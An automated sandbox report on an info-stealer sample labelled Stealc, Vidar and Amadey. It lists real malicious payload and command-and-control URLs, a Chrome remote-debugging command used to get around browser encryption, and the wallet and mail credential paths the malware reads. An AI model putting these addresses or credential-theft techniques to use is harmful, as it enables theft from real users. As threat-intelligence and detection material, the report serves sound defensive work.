Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\EBAEBFIIEC.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match	File source: 5.2.file.exe.230000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.1882889990.00000000002FC000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 5.2.file.exe.230000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.1882889990.0000000000231000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1886282629.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF20C40 sqlite3_bind_zeroblob,	5_2_6CF20C40
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF20D60 sqlite3_bind_parameter_name,	5_2_6CF20D60
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE48EA0 sqlite3_clear_bindings,	5_2_6CE48EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CF20B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	5_2_6CF20B40
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE46410 bind,WSAGetLastError,	5_2_6CE46410
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE460B0 listen,WSAGetLastError,	5_2_6CE460B0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE46070 PR_Listen,	5_2_6CE46070
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE4C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	5_2_6CE4C050
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE4C030 sqlite3_bind_parameter_count,	5_2_6CE4C030
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CDD22D0 sqlite3_bind_blob,	5_2_6CDD22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE463C0 PR_Bind,	5_2_6CE463C0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE494F0 sqlite3_bind_text16,	5_2_6CE494F0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE494C0 sqlite3_bind_text,	5_2_6CE494C0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE49480 sqlite3_bind_null,	5_2_6CE49480
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE49400 sqlite3_bind_int64,	5_2_6CE49400

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	237 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	11 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Trojan.Cerbu
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\Documents\EBAEBFIIEC.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\EBAEBFIIEC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.16/mine/random.exeE	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/sqlite3.dll6	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpsystem32;C:	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllN	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dll2	100%	Avira URL Cloud	malware
http://185.215.113.206/4c	100%	Avira URL Cloud	malware
http://185.215.113.206AAARoaming	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dll$	100%	Avira URL Cloud	malware
http://185.215.113.206/cc$	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php.X	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpbe549d9ff8f62368f1a7573402b3ult-release	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpzXl	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dllK	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www3.l.google.com	172.217.19.206	true	false	high
plus.l.google.com	142.250.181.110	true	false	high
play.google.com	172.217.19.206	true	false	high
www.google.com	142.250.181.68	true	false	high
ogs.google.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000005.00000002.1886282629.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp, HCBGDGCAAKJEBFIDBAAA.5.dr	false		high
https://duckduckgo.com/chrome_newtab	FCFBFHIE.5.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllN	file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	FCFBFHIE.5.dr	false		high
http://185.215.113.16/mine/random.exeE	file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.broofa.com	chromecache_87.11.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000005.00000002.1886282629.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpsystem32;C:	file.exe, 00000005.00000002.1927530868.0000000023380000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/sqlite3.dll6	file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpF	skotes.exe, 00000019.00000002.2531093363.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll2	file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000005.00000002.1924229009.0000000023110000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIE.5.dr	false		high
http://185.215.113.206/c4becf79229cb002.phps	file.exe, 00000005.00000002.1924229009.00000000231DA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpO	skotes.exe, 00000019.00000002.2531093363.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2531093363.0000000000C56000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	chromecache_87.11.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php7	skotes.exe, 00000019.00000002.2531093363.0000000000C56000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/4c	file.exe, 00000005.00000002.1886282629.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/mozglue.dll$	file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000005.00000002.1924229009.0000000023110000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIE.5.dr	false		high
https://apis.google.com	chromecache_87.11.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpdge	file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	AAAEBAFBGIDHCBFHIECFCBGHIE.5.dr	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000005.00000002.1931570714.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000005.00000002.1920260419.000000001D194000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000005.00000002.1932124200.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.5.dr, mozglue[1].dll.5.dr	false		high
https://mozilla.org0/	nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	FCFBFHIE.5.dr	false		high
http://185.215.113.206AAARoaming	file.exe, 00000005.00000002.1882889990.0000000000397000.00000040.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php(	file.exe, 00000005.00000002.1924229009.00000000231DA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php&	file.exe, 00000005.00000002.1924229009.00000000231DA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000005.00000002.1886282629.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp, HCBGDGCAAKJEBFIDBAAA.5.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	FCFBFHIE.5.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000005.00000002.1924229009.0000000023110000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIE.5.dr	false		high
http://185.215.113.206ata	file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	AAAEBAFBGIDHCBFHIECFCBGHIE.5.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000005.00000002.1924229009.0000000023110000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIE.5.dr	false		high
http://185.215.113.206/cc$	file.exe, 00000005.00000002.1886282629.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_87.11.dr	false		high
http://185.215.113.206/c4becf79229cb002.php?	file.exe, 00000005.00000002.1924229009.00000000231DA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpbe549d9ff8f62368f1a7573402b3ult-release	file.exe, 00000005.00000002.1882889990.0000000000397000.00000040.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpzXl	file.exe, 00000005.00000002.1886282629.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000005.00000002.1886282629.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp, HCBGDGCAAKJEBFIDBAAA.5.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000005.00000002.1886282629.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp, HCBGDGCAAKJEBFIDBAAA.5.dr	false		high
http://185.215.113.206/c4becf79229cb002.php.X	file.exe, 00000005.00000002.1886282629.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpK	file.exe, 00000005.00000002.1924229009.00000000231DA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	HCBGDGCAAKJEBFIDBAAA.5.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000005.00000002.1886282629.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp, HCBGDGCAAKJEBFIDBAAA.5.dr	false		high
https://support.mozilla.org	AAAEBAFBGIDHCBFHIECFCBGHIE.5.dr	false		high
http://185.215.113.206	file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp, file.exe, 00000005.00000002.1886282629.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000002.1882889990.0000000000397000.00000040.00000001.01000000.00000004.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllK	file.exe, 00000005.00000002.1886282629.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpk	skotes.exe, 00000019.00000002.2531093363.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	FCFBFHIE.5.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000005.00000002.1886282629.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp, HCBGDGCAAKJEBFIDBAAA.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.19.206	www3.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.110	plus.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570373
Start date and time:	2024-12-06 22:07:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@38/53@8/9
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 173.194.222.84, 172.217.17.46, 172.217.17.78, 217.20.58.100, 172.217.19.202, 172.217.21.42, 142.250.181.10, 172.217.17.42, 172.217.19.10, 142.250.181.138, 172.217.19.234, 172.217.17.74, 216.58.208.234, 142.250.181.74, 142.250.181.42
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, time.windows.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target file.exe, PID 6720 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
00:06:03	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
18:05:31	API Interceptor	297x Sleep call for process: file.exe modified
18:07:01	API Interceptor	32x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	3fo6GN17jm.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://www.google.ca/url?q=1120091333775300779273902563687390256368&rct=11200913337753007792&sa=t&url=amp/s/elanpro.net/horeca/dispenc#YnJ1bml0YS5kdW5jYW5AcGFydG5lcnNtZ3UuY29t	Get hash	malicious	HTMLPhisher	Browse	172.202.163.200 13.107.246.63 23.218.208.109
